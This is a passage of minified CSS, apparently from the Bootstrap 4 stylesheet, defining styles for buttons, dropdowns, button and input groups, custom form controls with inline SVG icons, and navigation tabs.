.custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:focus,.btn:hover{text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled).active,.btn:not(:disabled):not(.disabled):active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-primary{color:#007bff;background-color:transparent;background-image:none;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;background-color:transparent;background-image:none;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;background-color:transparent;background-image:none;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:none;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;background-color:transparent;background-image:none;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;background-color:transparent;background-image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;background-color:transparent;background-image:none;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;background-color:transparent}.btn-link:hover{color:#0056b3;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link.focus,.btn-link:focus{text-decoration:underline;border-color:transparent;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media screen and (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media screen and (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-right{right:0;left:auto}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file:focus,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control{margin-left:-1px}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::after{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:active~.custom-control-label::before{color:#fff;background-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:.375rem 1.75rem .375rem .75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.075),0 0 5px rgba(128,189,255,.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:focus~.custom-file-label::after{border-color:#80bdff}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:.375rem .75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:1px solid #ced4da;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;padding-left:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;-webkit-appearance:none;appearance:none}.custom-range::-webkit-slider-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;-moz-appearance:none;appearance:none}.custom-range::-moz-range-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;appearance:none}.custom-range::-ms-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified 